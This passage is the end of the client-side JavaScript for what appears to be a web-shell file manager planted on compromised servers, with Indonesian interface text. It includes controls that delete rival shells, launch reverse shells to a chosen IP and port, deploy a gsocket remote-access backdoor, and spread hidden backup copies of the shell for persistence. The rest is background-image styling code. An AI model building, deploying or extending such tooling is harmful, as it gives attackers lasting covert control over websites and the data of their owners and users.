progressCtr.style.display='block';logsDiv.style.display='block';logsDiv.innerHTML='';
delBtn.disabled=true;delBtn.textContent='Deleting...';
msg.textContent='Deleting '+paths.length+' shells...';msg.style.color='var(--tx2)';msg.style.display='block';
var startTime=Date.now(),batchSize=30,batchIdx=0,done=0,fail=0;
var logQueue=[],removedPaths=[];
function flushLogs(){
if(logQueue.length===0)return;
var html=logQueue.map(t=>'<div>['+t+'</div>').join('');
logsDiv.insertAdjacentHTML('beforeend',html);
logsDiv.scrollTop=logsDiv.scrollHeight;
logQueue=[];
}
function addLog(txt){
logQueue.push('['+new Date().toLocaleTimeString()+'] '+txt);
if(logQueue.length>=10)flushLogs();
}
function updateProgress(){
var total=done+fail;
var pct=Math.round(total/paths.length*100);
var elapsed=(Date.now()-startTime)/1000;
var rate=total/elapsed||0;
var remaining=Math.max(0,(paths.length-total)/rate);
progressBar.style.width=pct+'%';
progressPct.textContent=pct+'%';
progressCount.textContent=total+' / '+paths.length;
progressTime.textContent='~'+(remaining<1?'<1s':Math.ceil(remaining)+'s');
}
function delBatch(){
if(batchIdx>=paths.length){
flushLogs();
if(removedPaths.length>0){
$$('[data-shell]').forEach(ch=>{if(removedPaths.indexOf(ch.dataset.shell)>-1)ch.closest('div').remove()});
}
delBtn.disabled=false;delBtn.textContent='Hapus Terpilih';
msg.textContent='✅ '+done+' deleted, '+fail+' failed';
msg.style.color=fail===0?'var(--ok)':'var(--warn)';
addLog('✅ Complete! '+done+' deleted, '+fail+' failed');
flushLogs();
syncCheckbox();
updateProgress();
if(done>0)setTimeout(()=>{location.reload()},1200);
return;
}
var end=Math.min(batchIdx+batchSize,paths.length);
var batch=paths.slice(batchIdx,end);
batchIdx=end;
var promises=batch.map(path=>{
var fd=new FormData();fd.append('action','shellkill');fd.append('file',path);fd.append('token',D.token);fd.append('p',D.path);
var controller=new AbortController(),timeout=setTimeout(()=>controller.abort(),4000);
return fetch(location.pathname,{method:'POST',body:fd,signal:controller.signal}).then(r=>r.json()).catch(e=>{
clearTimeout(timeout);
return{ok:false,msg:e.name==='AbortError'?'Timeout':'Network error'};
}).then(j=>{
clearTimeout(timeout);
if(j.ok){
removedPaths.push(path);
done++;
addLog('✓ '+path.split('/').pop());
}else{
fail++;
var errMsg=(j.msg||'Error').replace(/[✓✗❌⚠️🔑]/g,'').trim().substring(0,45);
addLog('✗ '+path.split('/').pop()+' ('+errMsg+')');
}
});
});
Promise.all(promises).then(()=>{
updateProgress();
setTimeout(delBatch,5);
});
}
addLog('Starting batch delete of '+paths.length+' shells...');
delBatch();
});
scanBtn.addEventListener('click',()=>{open('#m-scan');results.style.display='none';progress.style.display='none';toolbar.style.display='none';msg.style.display='none';});
})();}
var revshellBtn=$('#revshellbtn');
if(revshellBtn){(function(){
var m=$('#m-revshell'),ip=$('#rs-ip'),port=$('#rs-port'),method=$('#rs-method'),msg=$('#rs-msg'),status=$('#rs-status'),statusText=$('#rs-status-text'),methodsList=$('#rs-methods');
$('#rs-connect').addEventListener('click',()=>{
if(!ip.value||!port.value){msg.textContent='IP dan port harus diisi';msg.style.color='var(--err)';msg.style.display='block';return;}
var fd=new FormData();fd.append('action','revshell');fd.append('ip',ip.value);fd.append('port',port.value);fd.append('method',method.value);fd.append('token',D.token);fd.append('p',D.path);
status.style.display='block';statusText.textContent='🔥 Executing '+method.value+' method(s)...';methodsList.innerHTML='';
fetch(location.pathname,{method:'POST',body:fd}).then(r=>r.json()).then(j=>{
if(j.ok){
statusText.textContent='✅ '+j.msg+' ('+j.count+' active)';
status.style.color='var(--ok)';
methodsList.innerHTML=(j.methods||[]).map((m,i)=>'<div style="padding:4px 0;">✓ '+m+'</div>').join('');
msg.textContent='✅ '+j.msg;
msg.style.color='var(--ok)';
}else{
statusText.textContent='❌ '+j.msg;
status.style.color='var(--err)';
msg.textContent='❌ '+j.msg;
msg.style.color='var(--err)';
}
msg.style.display='block';
}).catch(e=>{
statusText.textContent='❌ Error: '+e.message;
status.style.color='var(--err)';
msg.textContent='❌ Error: '+e.message;
msg.style.color='var(--err)';
msg.style.display='block';
});
});
revshellBtn.addEventListener('click',()=>{open('#m-revshell');status.style.display='none';msg.style.display='none';methodsList.innerHTML='';});
})();}
var gsocketBtn=$('#gsocketbtn');
if(gsocketBtn){(function(){
var m=$('#m-gsocket'),deployBtn=$('#gs-deploy'),secretEl=$('#gs-secret'),connectEl=$('#gs-connect'),resultDiv=$('#gs-result'),statusDiv=$('#gs-status'),statusText=$('#gs-status-text'),msgDiv=$('#gs-msg'),copySBtn=$('#gs-copy-secret'),copyCBtn=$('#gs-copy-connect');
deployBtn.addEventListener('click',()=>{
deployBtn.disabled=true;deployBtn.textContent='⏳ Deploying...';
statusDiv.style.display='block';msgDiv.style.display='none';resultDiv.style.display='none';
var fd=new FormData();fd.append('action','gsocket');fd.append('op','deploy');fd.append('token',D.token);fd.append('p',D.path);
fetch(location.pathname,{method:'POST',body:fd,timeout:60000}).then(r=>{
if(!r.ok)throw new Error('Server returned '+r.status);
return r.text().then(txt=>{
try{return JSON.parse(txt)}catch(e){
console.error('JSON parse error. Response:',txt.substring(0,200));
throw new Error('Server error (invalid response): '+txt.substring(0,100).replace(/[<>]/g,''));
}
});
}).then(j=>{
deployBtn.disabled=false;deployBtn.textContent='Deploy';
if(j.ok){
statusDiv.style.display='none';
statusText.textContent='🌐 Deployed!';
secretEl.textContent=j.secret||'-';
connectEl.textContent=j.connect||'-';
resultDiv.style.display='block';
msgDiv.textContent='✅ '+j.msg;
msgDiv.style.color='var(--ok)';
msgDiv.style.display='block';
}else{
statusDiv.style.display='none';
msgDiv.textContent='❌ '+j.msg;
msgDiv.style.color='var(--err)';
msgDiv.style.display='block';
}
}).catch(e=>{
deployBtn.disabled=false;deployBtn.textContent='Deploy';
statusDiv.style.display='none';
msgDiv.textContent='❌ '+e.message;
msgDiv.style.color='var(--err)';
msgDiv.style.display='block';
});
});
copySBtn.addEventListener('click',()=>{var txt=secretEl.textContent;navigator.clipboard.writeText(txt).then(()=>{copySBtn.textContent='✅ Copied!';setTimeout(()=>{copySBtn.textContent='📋 Copy Secret'},2000)})});
copyCBtn.addEventListener('click',()=>{var txt=connectEl.textContent;navigator.clipboard.writeText(txt).then(()=>{copyCBtn.textContent='✅ Copied!';setTimeout(()=>{copyCBtn.textContent='📋 Copy Command'},2000)})});
gsocketBtn.addEventListener('click',()=>{open('#m-gsocket');statusDiv.style.display='none';msgDiv.style.display='none';resultDiv.style.display='none';deployBtn.disabled=false;deployBtn.textContent='Deploy'});
})();}
var bgBtn=$('#bgbtn');
if(bgBtn){(function(){
var wrap=$('.wrap'),inp=$('#bg-url'),msg=$('#bg-msg'),bright=$('#bg-bright'),blur=$('#bg-blur');
var pvWrap=$('#bg-preview-wrap'),pvImg=$('#bg-preview-img'),cropBox=$('#bg-crop-box'),fullCheck=$('#bg-fullimg-check');
var cropData={x:0,y:0,w:100,h:140};
function show(text,ok){msg.textContent=text;msg.style.color=ok?'var(--ok)':'var(--err)';msg.style.display='block';setTimeout(()=>{msg.style.display='none'},3000)}
function getBrightBlur(){return {b:parseInt(bright.value),bl:parseInt(blur.value)}}
function updateFilters(){
var bb=getBrightBlur();
wrap.style.filter='brightness('+bb.b+'%) blur('+bb.bl+'px)';
$('#bg-bright-val').textContent=bb.b+'%';
$('#bg-blur-val').textContent=bb.bl+'px';
localStorage.setItem('fm_bg_bright',bb.b);
localStorage.setItem('fm_bg_blur',bb.bl);
}
function restoreBackground(){
var savedUrl=localStorage.getItem('fm_bg_url'),savedB=parseInt(localStorage.getItem('fm_bg_bright')||'100'),savedBl=parseInt(localStorage.getItem('fm_bg_blur')||'0'),savedFull=localStorage.getItem('fm_bg_full')==='1';
if(savedUrl){
inp.value=savedUrl;fullCheck.checked=savedFull;
if(savedFull){applyFullImage(savedUrl)}else{initCrop(savedUrl)}
}
bright.value=savedB;blur.value=savedBl;
updateFilters();
}
function resetCrop(){cropData={x:0,y:0,w:100,h:140};updateCropBox()}
function updateCropBox(){
cropBox.style.left=cropData.x+'px';cropBox.style.top=cropData.y+'px';
cropBox.style.width=cropData.w+'px';cropBox.style.height=cropData.h+'px';
}
function initCrop(url){
pvImg.src=url;
pvImg.onload=()=>{
resetCrop();cropBox.style.display='block';pvWrap.style.display='block';
var h=pvWrap.querySelector('[style*="height:140"]');
cropData.w=Math.min(100,h.offsetWidth);cropData.h=140;
updateCropBox();
};
}
function applyFullImage(url){
var img=new Image();img.crossOrigin='anonymous';
img.onload=()=>{
wrap.style.backgroundImage='url('+url+')';
localStorage.setItem('fm_bg_url',url);
localStorage.setItem('fm_bg_full','1');
updateFilters();show('Background berhasil diterapkan (full image)',true);
};
img.onerror=()=>{show('Gagal load image dari URL',false)};
img.src=url;
}
function applyCrop(){
var canvas=document.createElement('canvas'),ctx=canvas.getContext('2d');
var img=new Image();img.crossOrigin='anonymous';
img.onload=()=>{
canvas.width=cropData.w;canvas.height=cropData.h;
var scale=img.width/100;
ctx.drawImage(img,-cropData.x*scale,-cropData.y*scale,img.width,img.height);
wrap.style.backgroundImage='url('+canvas.toDataURL()+')';
localStorage.setItem('fm_bg_url','');
localStorage.setItem('fm_bg_crop',JSON.stringify(cropData));
localStorage.removeItem('fm_bg_full');
updateFilters();show('Background crop berhasil diterapkan',true);
};
img.onerror=()=>{show('Gagal crop image',false)};
img.src=inp.value;
}
function apply(url){
if(!url||url.trim()===''){wrap.style.backgroundImage='';localStorage.removeItem('fm_bg_url');show('Background dihapus',true);return}
if(fullCheck.checked){applyFullImage(url)} else {initCrop(url)}
}
restoreBackground();
var dragging=false,dragType='',startX=0,startY=0,startData={};
var pvWrapEl=pvWrap.querySelector('[style*="height:140"]');
function screenToLocal(x,y){
var r=pvWrapEl.getBoundingClientRect();
return {x:x-r.left,y:y-r.top};
}
cropBox.addEventListener('mousedown',e=>{
if(e.button!==0)return;
dragging=true;dragType=e.target.dataset.crop||'move';startX=e.clientX;startY=e.clientY;
startData=Object.assign({},cropData);
cropBox.style.cursor=dragType==='move'?'grabbing':'nwse-resize';
});
pvWrapEl.addEventListener('mousedown',e=>{
if(dragging||!pvImg.src)return;
var pos=screenToLocal(e.clientX,e.clientY);
cropData={x:Math.max(0,pos.x-50),y:Math.max(0,pos.y-35),w:100,h:70};
cropData.w=Math.min(cropData.w,100-cropData.x);
cropData.h=Math.min(cropData.h,140-cropData.y);
updateCropBox();
});
document.addEventListener('mousemove',e=>{
if(!dragging)return;
var dx=e.clientX-startX,dy=e.clientY-startY;
if(dragType==='move'){
cropData.x=Math.max(0,Math.min(startData.x+dx/pvWrapEl.offsetWidth*100,100-startData.w));
cropData.y=Math.max(0,Math.min(startData.y+dy/pvWrapEl.offsetHeight*140,140-startData.h));
} else {
var scaleX=100/pvWrapEl.offsetWidth,scaleY=140/pvWrapEl.offsetHeight;
if(dragType==='nw'){cropData.x=startData.x+dx*scaleX;cropData.y=startData.y+dy*scaleY;cropData.w=startData.w-dx*scaleX;cropData.h=startData.h-dy*scaleY}
else if(dragType==='ne'){cropData.y=startData.y+dy*scaleY;cropData.w=startData.w+dx*scaleX;cropData.h=startData.h-dy*scaleY}
else if(dragType==='sw'){cropData.x=startData.x+dx*scaleX;cropData.w=startData.w-dx*scaleX;cropData.h=startData.h+dy*scaleY}
else if(dragType==='se'){cropData.w=startData.w+dx*scaleX;cropData.h=startData.h+dy*scaleY}
cropData.x=Math.max(0,Math.min(cropData.x,100));cropData.y=Math.max(0,Math.min(cropData.y,140));
cropData.w=Math.max(20,Math.min(cropData.w,100-cropData.x));
cropData.h=Math.max(20,Math.min(cropData.h,140-cropData.y));
}
updateCropBox();
});
document.addEventListener('mouseup',()=>{dragging=false;cropBox.style.cursor='grab'});
bgBtn.addEventListener('click',()=>{open('#m-bg');inp.focus()});
$('#bg-set').addEventListener('click',()=>{if(fullCheck.checked){applyFullImage(inp.value)}else{applyCrop()}});
$('#bg-clr').addEventListener('click',()=>{inp.value='';bright.value='100';blur.value='0';fullCheck.checked=false;pvWrap.style.display='block';wrap.style.backgroundImage='';updateFilters();show('Background dihapus',true)});
$('#bg-crop-reset').addEventListener('click',resetCrop);
$('#bg-crop-fullimg').addEventListener('click',()=>{cropData={x:0,y:0,w:100,h:140};updateCropBox()});
inp.addEventListener('keypress',e=>{if(e.key==='Enter'){apply(inp.value)}});
inp.addEventListener('input',()=>{if(inp.value&&!fullCheck.checked){apply(inp.value)}});
fullCheck.addEventListener('change',()=>{pvWrap.style.display=fullCheck.checked?'none':'block'});
bright.addEventListener('input',updateFilters);
blur.addEventListener('input',updateFilters);
window.addEventListener('focus',restoreBackground);
window.addEventListener('pageshow',restoreBackground);
if(document.readyState==='loading'){document.addEventListener('DOMContentLoaded',restoreBackground)}else{restoreBackground()}
})();}
var defBtn=$('#defbtn'),defMod=$('#m-def');
if(defBtn){(function(){
function log(msg){
var l=$('#def-log');if(!l)return;l.style.display='block';
var d=document.createElement('div');d.textContent='⏱ '+new Date().toLocaleTimeString()+' '+msg;
l.appendChild(d);l.scrollTop=l.scrollHeight;
}
function act(cmd){
defBtn.disabled=true;
var fd=new FormData();fd.append('action',cmd);fd.append('token',D.token);fd.append('p',D.path);
if(cmd==='spread'){fd.append('count',$('#def-cnt').value)}
fetch(location.pathname,{method:'POST',body:fd}).then(r=>r.json()).then(j=>{
log((j.ok?'✓':'✗')+' '+cmd+': '+(j.msg||''));
if(cmd==='check'&&j.data){
var l=$('#def-log');
var activeAccessible=j.data.filter(b=>b.exist&&b.valid&&b.is_accessible).length;
log('📊 Status: '+j.count+' backup(s) | '+j.active+' active | '+activeAccessible+' accessible | '+j.deleted+' missing');
if(j.data.length>0){
log('═══════════════════════════════════════════════════════════════════════');
// Show accessible backups first
var accessible=j.data.filter(b=>b.is_accessible);
if(accessible.length>0){
log('✅ ACCESSIBLE BACKUPS:');
accessible.forEach(b=>{
var marker=b.valid?'✅':'⚠️';
log(marker+' '+b.name+' ['+(!b.valid?'hash mismatch':'valid')+']');
log(' 🌐 '+b.domain_path);
});
log('');
}
// Show non-accessible backups
var notAccessible=j.data.filter(b=>b.exist&&!b.is_accessible);
if(notAccessible.length>0){
log('🔒 NOT ACCESSIBLE (protected folders):');
notAccessible.forEach(b=>{
log('❌ '+b.name+' ['+b.relpath+']');
});
log('');
}
// Show missing backups
var missing=j.data.filter(b=>!b.exist);
if(missing.length>0){
log('⚠️ MISSING ('+missing.length+' deleted)');
}
log('═══════════════════════════════════════════════════════════════════════');
}
}
defBtn.disabled=false;
}).catch(e=>{log('❌ Error: '+e.message);defBtn.disabled=false});
}
$('#def-sp').addEventListener('click',function(){log('Spreading...');act('spread')});
$('#def-ch').addEventListener('click',function(){log('Checking backups...');act('check')});
$('#def-rs').addEventListener('click',function(){log('Re-spreading...');act('respread')});
$('#def-cl').addEventListener('click',function(){if(confirm('Hapus semua backup?')){log('Cleaning...');act('clean')}});
defBtn.addEventListener('click',function(){open('#m-def');$('#def-log').innerHTML=''});
})();}
sync();
})();
</script>
</body>
</html>